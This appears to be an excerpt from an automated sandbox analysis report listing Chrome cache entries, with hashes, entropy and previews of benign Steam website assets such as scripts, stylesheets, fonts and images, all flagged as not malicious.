SHA-256:	BFCFD556CD300A21962BC18721C79D670BFFD653D058AC8FD1ADFD50D2D00C82
SHA-512:	FADF951A97ADDF12662F3D0272E39BDB60544C40FFD93E33C643769D7175A7265CA693F2B55C4BE8C0E7B872098912696D92CABC5A5B4319AB0201C553B477A0
Malicious:	false
Reputation:	low
Preview:	var selStates = new Array();..var modalDismissHandler = false;....function showGotSteamModal( contentEl, steamURL, appName )..{...$('gotSteam_SteamURL').href = steamURL;...$('gotSteam_AppName').update( appName );...showModal( contentEl );..}....function showModal( contentEl, bExplicitDismisalOnly )..{...// hide selects, which have an infinitely high z-index in IE...sels = document.getElementsByTagName('select');...selStates.length = 0;...for(x=0;x<sels.length;x++)...{....selStates.push((sels[x].style.visibility == undefined ? 'visible' : sels[x].style.visibility));....sels[x].style.visibility = 'hidden';...}......bgEl = document.getElementById('modalBG');...if(!bgEl)...{....bgEl = document.createElement('div');....bgEl.id = 'modalBG';...}...new Effect.Appear( bgEl, { from: 0.0, to: 0.8, duration: 0.4 } );......cEl = $(contentEl);...cEl.show();......modalSizing( cEl );.....cEl.sizingListener = modalSizing.bind( null, cEl );.....// skip registering the resize/scroll events on iphone as w

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 690 x 1398, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	256364
Entropy (8bit):	7.992281401208544
Encrypted:	true
SSDEEP:	6144:vqswArZbdG/0wtJ2xZ73xzCn7w5KXj4Lb+dqML:TJdGSxZdo0sj++V
MD5:	C825B8122182802B91860D2EE93A3673
SHA1:	E9469C6D4B1052F24F68910C558A35DD9ABCC7C5
SHA-256:	7CDB8C32814C2C3062F5B5BDE0B82B1DCA917F3D70D8F0C1F6D7163CC6EBA4F0
SHA-512:	C070BE903656E47249395C25D218244F1299F1A7F9801253E5071CD6AA84A8281932C49BF33B85FD4172EEAFD4C97BB89B0F83648540042A38DDB3FA0C0C858E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/web_chat/web_chat_english.png
Preview:	.PNG........IHDR.......v.....f._.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:BB036D2E468C11EDB387FB043C60A269" xmpMM:InstanceID="xmp.iid:BB036D2D468C11EDB387FB043C60A269" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3d4abc37-e1c4-4542-87e7-6ceb3124c2bd" stRef:documentID="adobe:docid:photoshop:e32f5b3b-edae-344e-8ae3-b5fef5af14d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......~IDATx....\U..

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2557
Entropy (8bit):	4.948346901928461
Encrypted:	false
SSDEEP:	48:cGA+fEjXUMEcKCNyuPqkZ1IRXJdJaCiC9tX3tGdfPNyFbap35r:a+fQXnEcYuitXJdJa1CHAdJr
MD5:	8351C9C5873C3975D9730ACE755A5EC9
SHA1:	66D9D4F9E3D73027ECF61972DE43657FFBC831EA
SHA-256:	18E6EE2ED3EA311B09C504798CCBB37FB9386840A9FCE138F0A03DFA3D5564DF
SHA-512:	F339E73C884A6A4B95913C7BF37C8ACB30FD9298D29F89EEDB36FC50B6EED196A3C3AE37EB910D38B89B387E988A08568E6E2C150513F83087B2BD81A766F0AB
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/store//about/logo_steam.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 23.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 278 84" style="enable-background:new 0 0 278 84;" xml:space="preserve">..<style type="text/css">....st0{fill:#24ACE3;}....st1{fill:#FFFFFF;}..</style>..<g>...<g>....<path class="st1" d="M41.8,0C19.7,0,1.7,17,0,38.5l22.5,9.3c1.9-1.3,4.2-2.1,6.7-2.1c0.2,0,0.4,0,0.7,0l10-14.5c0-0.1,0-0.1,0-0.2.....c0-8.7,7.1-15.8,15.8-15.8c8.7,0,15.8,7.1,15.8,15.8c0,8.7-7.1,15.8-15.8,15.8c-0.1,0-0.2,0-0.4,0L41,57.1c0,0.2,0,0.4,0,0.6.....c0,6.5-5.3,11.9-11.9,11.9c-5.7,0-10.5-4.1-11.6-9.5L1.4,53.3c5,17.6,21.1,30.5,40.3,30.5c23.1,0,41.9-18.8,41.9-41.9.....C83.7,18.8,64.9,0,41.8,0z"/>....<path class="st1" d="M26.3,63.6l-5.1-2.1c0.9,1.9,2.5,3.5,4.6,4.4c4.5,1.9,9.8-0.3,11.6-4.8c0.9-2.2,0.9-4.6,0-6.8.....c-0.9-2.2-2.6-3.9-4.8-4.8c-2.2-0.9-

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.661932872373583
Encrypted:	false
SSDEEP:	3:YWQRAW6kYN:YWQmT
MD5:	CC23E88E5E3A1AEFB54805284245A25B
SHA1:	A255901026FA8C111C9CC658E78D3C46BE479128
SHA-256:	8F22FEBFD2EBD5AD2A15E6C3B4647CAFE6B3C7DBAC8B59530EF76A378608C4B9
SHA-512:	9B4202B9074BD2E7FBBA84BBA9C89FC0D8CA269C2FE51E496830D0C8734CFA89E8B32ADEB36DC37FBFFB253425228777062049468ECE876A144C9B6233197657
Malicious:	false
Reputation:	low
Preview:	{"success":false,"error":8}

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2646
Entropy (8bit):	5.186625633836425
Encrypted:	false
SSDEEP:	48:y3/p1p6iBbbjR3+Muik5kSR3+MuikywR3+MuiktStR3+MuikFXR3+MuikRCR3+Mm:ip1p6eUMuotMuYjMuvFMuboMu3dMuIw9
MD5:	45CDA1A73836131DD3614C2C3854CA4D
SHA1:	8C5F6023535CB883463E83170430B31EE72B5176
SHA-256:	218BEDD2A2817DFDE5F3A900B6204C7E378E1B747FF98AE89AEDFF2391E4429C
SHA-512:	EFA13E0D107CB9915BB8AB250B417880F08E255FF2D6457306FEF6A6FF0DEE0FC2F0FCA15738B71CE1AACCD3B2556B677881BEF4A6CB182D696B583F10E78559
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english
Preview:	/.. Font: ..Motiva Sans.. URL: ..http://www.youworkforthem.com/product.php?sku=T2982.. Foundry: .Niramekko.. Foundry: .http://www.youworkforthem.com/designer/293/niramekko.. Copyright:.Copyright 2011 by Rodrigo Saiani. All rights reserved... Version: .1.0.. Created:.August 09, 2012.. License: .http://www.youworkforthem.com/font-license.. License: .The WebFont(s) listed in this document must follow the YouWorkForThem..... WebFont license rules. All other parties are strictly restricted..... from using the WebFonts(s) listed without a purchased license...... All details above must always remain unaltered and visible in your CSS... /....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015') format('truetype');...font-weight: normal;...font-style: normal;..}....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.01

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	24657
Entropy (8bit):	5.319718503552118
Encrypted:	false
SSDEEP:	384:aUXvnJo2dacv5Wc4gOV+n0Xmz85JX1c/jc0NL+lMF2KDnXhOMucpqWqGil/wSwf3:aU/nq2dd4gmLWqGil/wS20m
MD5:	A52BC800AB6E9DF5A05A5153EEA29FFB
SHA1:	8661643FCBC7498DD7317D100EC62D1C1C6886FF
SHA-256:	57CFAF9B92C98541F769090CD0229A30013CEA7CFAFC18519CA654BFAE29E14E
SHA-512:	1BCACD0EC7C3D633D6296FFF3325802D6352805F0D2CF1EEA39237424229ECFFAD6CB2AEE4248E28B1ECA02FF0646B58240851A246BBCF0AA1083830D5D9081E
Malicious:	false
Reputation:	low
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	702
Entropy (8bit):	6.805425587929178
Encrypted:	false
SSDEEP:	12:Ac150Xyose8z9roNN0kEW0YIzKwbpcdFYOiEscTlEkUJfT2:Ac1spMroN7AYiDbpcdFY8sipGb2
MD5:	E89EE7BC3EEF1CA9184F69758BA3FE36
SHA1:	1D33AE6EF98078966C625BBD7A67A5538DADF4CC
SHA-256:	9498210D8F9B4268D4396C6E0756A0F414895AE89C8ED5EA972E13B172E4DCD3
SHA-512:	D409E6B849F5A54CE98050A2049BA9AA210B73B1900C8A27E2DF2C91D601D678C0E81C1390774D1D2CA07799B48D9F1E8CCE2200F4735BF41575A68622973434
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/730/8dbc71957312bbd3baea65848b545be9eae2a355.jpg
Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . .."....................................-.........................1..!Aa.#.."..$2Qq...........................&......................1.!....."Aa...............?...j.V....+).6......o....J.$..........ezT.b.FK.`g.).=..?..S._..o.n:RmV...E.~T...3.\|....wf..4..0.....(d.....-.z.-...z....O.S.F1..+.N......R..G%z{r..M.$.............@...R"....P.e'aZ.EDT...-.4.$..........=..2.!...i-.FB...\|....z..i..g"d.\......>.ZaF................7'.}.[......'.....8..WH&Y.$...9....,.....he..1...rB..........:.:U..>u.(L...u.......6...h.P.4H.j..

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, CR, LF line terminators
Category:	downloaded
Size (bytes):	82768
Entropy (8bit):	5.214896755967683
Encrypted:	false
SSDEEP:	1536:BpwKe3CskuBVNpOKE4yBCRLSneisMqB/dhgaKMiPx:wHRLSneisM4KFx
MD5:	3A3E46A1B10799006CAAA43EDE8E4ED2
SHA1:	697934283D79B171239D671E5DE16F3D49A7CB98
SHA-256:	58A2A035D584F440197302E66100EB91D7B09FA86FBDAFD2CD60C3439D7B2AAF
SHA-512:	FDA5A6EF2F6D8277B69B4123BF85BBC5846271CF8598E1C81A413822096209B76708AFE77B2CC32CB7F3EC3A24B9F45C00A5CB11D149A0A6318657C5747F8887
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs
Preview:	..* {...padding: 0;...margin: 0;..}....img {...border: none;..}......a {...text-decoration: none;...color: #ffffff;..}.......a:focus {...outline: 0px none;..}....a:hover {...text-decoration: none;.. color: #66c0f4;..}....a.nohover:hover {...text-decoration: none;..}....textarea..{.....font-family: "Motiva Sans", Sans-serif;....font-weight: 300; /* light */.......font-size: 12px;...color: #ffffff;...background-color: #1a2738;...border: 1px solid #000;...box-shadow: 1px 1px 0 #45556c;...padding: 4px;..}......html {...height: 100%;..}....input[type=submit] {...font-size: 14px;...padding: 6px 10px 6px 10px;...background-color: #264963;...color: #6abcf0;...margin-top: 34px;...cursor: pointer;...border: none;..}....input[type=submit]:hover {...color: #ffffff;..}....input[type=text],..input[type=date],..input[type=time] {...color: #ffffff;...background-color: #324965;...border-top: solid 1px #182636;...border-left: solid 1px #182636;...border-right: solid 1px #45566a;...border-bottom: soli

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansMedium4.015;Plau;MotivaS
Category:	downloaded
Size (bytes):	124048
Entropy (8bit):	6.074024700633004
Encrypted:	false
SSDEEP:	1536:v4Kkq/szjKJRIDCnR96guXgECINo28BZZDhpkemOXaxq4jKea8GyFLaE0Af0ffL9:vf/fxn7ElXxE0wS0fj9
MD5:	2D64CAA5ECBF5E42CBB766CA4D85E90E
SHA1:	147420ABCEB4A7FD7E486DDDCFE68CDA7EBB3A18
SHA-256:	045B433F94502CFA873A39E72D616C73EC1B4C567B7EE0F847F442651683791F
SHA-512:	C96556EC57DAC504919E806C7DF536C4F86892B8525739289B2F2DBBF475DE883A4824069DBDD4BB1770DD484F321563A00892E6C79D48818A4B95406BF1AF96
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Medium.ttf?v=4.015
Preview:	........... DSIG...........GDEF...4...,...@GPOS......l..u.GSUB.d....w.....OS/2u..........`cmap.d..........cvt G..t........fpgm.6!........gasp............glyf5.}2........head...W.......6hhea...v.......$hmtx._X.........loca.:yV........maxp.......l... names...........post.......<....prep..........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4458), with CRLF line terminators
Category:	downloaded
Size (bytes):	156982
Entropy (8bit):	5.435620292080094
Encrypted:	false
SSDEEP:	1536:D11KAh60MhmjGFhB1e5lnl9b/PdVcTzWMGEN3qxVqGoteFANNfsf9M6kQuOEmTdh:808B1e5/9b3dVcj9qVqZrrUEvm
MD5:	9CAB64AE7399518E41E6B1CBDB12046D
SHA1:	1DD2DD1313D0E197E986F37284ED8EC4DF08AFF5
SHA-256:	A61DF7D1067A60F7179FF71071A3D8AC030DD3B36F40A3D51DE87A97106E2693
SHA-512:	D4A3C7DB2B80FFD8BECF08EF7BC74661581B006EFDC2FF018D4FB4651BF1ABD8ECA76901202C75DA9B80D1FFEE0FA316CE7E38202A3AE223CA3C6E47DC8F9371
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/shared_global.js?v=nKtkrnOZUY5B
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3207
Entropy (8bit):	7.929417630532427
Encrypted:	false
SSDEEP:	48:4/6c6pVCtBEk0RSsouHmNbs8e7mf6TRdfNHMonp1J4kezFflFlig7xKZ1cxB:4SLpkBEYsouGuriyT7FsuPIl6gwZ1m
MD5:	302025BB525953B50D68EECD59FD185C
SHA1:	2BF0A295B5874E2197B6157C64A09791A27143F1
SHA-256:	EBCCCFC2AFA2440CD2C066A6FE91988882C083F1785E434C31C42F4C3FCE0DBF
SHA-512:	B8C9FEF04B970C9F3D26BBCD006AE0574B3980D6E733F73C3CCD6B7AB368835FFB3EC024937CB3AE3D02474E780FB93A992FC5B4E651C32B34AA9E2D87B14A72
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_chat_icon.png
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx...T.W...j.d.lP.T....P.M.".F......Qp.I..I.9.(...KP...L0....%q...h"Qc\...#H#..5...H...'.w.;.....{....[U.A$....07..'......%x(.W......%....)=.......FP~pT.m.......E.oA.6...j.z.!h..Kx...f.M4.Z>.>..S.$.%...I..hNp....... .....9..f&..p.C..G....\c.....;.:..dWJ4k8..G.je..zO..el.Bg&....>8...U.V.O.\|..j.....J<?(md.b..\.!h.i.R....s.IY..j.,...Z.v1t:<.hM.,<..1.PQR...LKs3......9..&....i..xXX....u....\[..`[M...5..rA@WG.uq...e..\...W........p.V......h..4e}..#.M..D.0.WD.x.o..0...G.v...t.i9.......cL.%..oH.G=..p...pq..=....>9\|..y....!..8au...d.mmc......S..".4d........P.X{.^.D"E...]...K..M..e.L..rB..o...7....vB.&..b.+!0...i..o.@xt..k.......C...>r..K...A.7f.._.t=.._....0...!..)#...M..ZJYk..w',.......(...n.Nmm... 1.~../......#.Q.....z....^.;.."...{......L.1\|.A.!#.=..l..o..H{........<..-v/....]..".I....M...4..4..:...B......>.....`k......w..S.....s..M..VZ.~.>...2...9....F8;...o@*

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1180 x 645, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	101582
Entropy (8bit):	7.970123560814674
Encrypted:	false
SSDEEP:	3072:5RkTQQ4nc73gMdc+BcBLvWf9GDxUZcUXTg8UQmmX:5dQ4c73je9UDjUPs
MD5:	0307F8A611F6B99C78D9AE9DFB609364
SHA1:	F9ED2F690FC13CE9A7D04673572EB4D8FC8673E5
SHA-256:	0E11D35F8B7AA18C793A790A1C562637EBB8D61FFD842C942A2357AB1FFA5B5A
SHA-512:	EEB6C21C20E5620CF991AD9CA343137814ED23F9C0E8F3C45046448F587989CF64949947D24C29207F68ABDEB44E8AF074FA6FB81C34F60595914A299A866B74
Malicious:	false
Reputation:	low
